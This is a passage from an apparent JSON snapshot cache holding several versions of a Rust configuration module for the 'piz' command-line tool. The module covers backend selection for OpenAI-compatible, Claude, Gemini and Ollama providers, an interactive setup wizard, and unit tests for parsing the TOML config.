Ok(format!(\n \"[ollama]\\nhost = \\\"{host}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "8fb4fc15f1a76b408b29891d98fbcf5740556bb7": {"t": 1785760780.4335093, "n": 14758, "h": "3edee0915857e3b5", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\"[openai]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\"[claude]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = \\\"{host}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760782.6502318, "n": 12256, "h": "3ea4f347a8b8d1bd", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, Moonshot, SiliconFlow, ...)\",\n \"claude\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"Moonshot (api.moonshot.cn)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\"[openai]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\"[claude]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = \\\"{host}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}}}}